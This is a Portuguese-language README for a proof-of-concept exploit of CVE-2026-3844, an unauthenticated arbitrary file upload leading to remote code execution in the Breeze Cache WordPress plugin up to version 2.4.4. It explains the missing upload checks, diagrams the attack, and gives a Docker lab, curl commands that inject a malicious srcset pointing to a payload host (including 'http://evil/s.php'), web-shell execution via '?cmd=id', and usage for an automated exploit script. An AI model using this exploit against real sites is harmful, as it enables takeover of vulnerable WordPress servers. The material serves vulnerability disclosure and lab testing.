
Prova de conceito de exploit para CVE-2026-3844, um upload arbitrário de arquivos sem autenticação que leva à execução remota de código no Breeze Cache <= 2.4.4. Inclui laboratório Docker e script de exploit automatizado.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Crítico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Upload Irrestrito de Arquivo com Tipo Perigoso |
| Plugin | Breeze Cache por Cloudways |
| Afetado | Todas as versões até e incluindo 2.4.4 |
| Corrigido | 2.4.5 (changeset 3511463) |
| Instalações | Mais de 400.000 instalações WordPress ativas |
| Descoberto por | Hung Nguyen (bashu) |
| Divulgado | 2026-04-23 |
A função fetch_gravatar_from_remote() em inc/class-breeze-cache-cronjobs.php baixa
URLs remotas e as salva em um diretório acessível pela web usando o nome de arquivo e
extensão originais da URL. Não há validação de tipo MIME, nenhuma lista de permissões de extensões e
nenhuma inspeção de conteúdo.
Quando a configuração "Hospedar Arquivos Localmente - Gravatars" está habilitada, o plugin se conecta ao filtro
get_avatar do WordPress via breeze_replace_gravatar_image(). Esta função usa uma regex para extrair
URLs dos atributos srcset e src no HTML do avatar. Um atacante pode injetar um
atributo srcset malicioso ao postar um comentário com um nome de autor forjado, fazendo o plugin
baixar e armazenar em cache um arquivo PHP arbitrário.
O que está faltando:
.php, .phtml, .phar todos aceitos)Atacante WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Comentário salvo
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | Filtro get_avatar dispara
| | breeze_replace_gravatar_image()
| | extrai URL srcset via regex
| | chama fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| Conteúdo do arquivo PHP |
| -----------------------------> |
| | Salvo em:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP executa como www-data
| uid=33(www-data) |
| <------------------------------------ |
Este PoC inclui um ambiente Docker autossuficiente com:
requests (pip install requests)cd docker/
docker compose up -d --build
Aguarde ~30 segundos para o WordPress inicializar. Verifique:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Esperado: Stable tag: 2.4.4
A configuração Docker automaticamente:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Substitua PAYLOAD_IP pelo IP do contêiner de payload:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Resposta esperada: redirecionamento HTTP 302 para a página do post.
Visite a página do post para fazer o WordPress renderizar o avatar do comentário, o que dispara o
filtro get_avatar do Breeze e baixa o payload:
curl -s "http://localhost:8088/?p=1" > /dev/null
O HTML renderizado mostra que o Breeze extraiu o srcset injetado e armazenou o payload em cache:
O payload PHP é gravado literalmente, de propriedade de www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]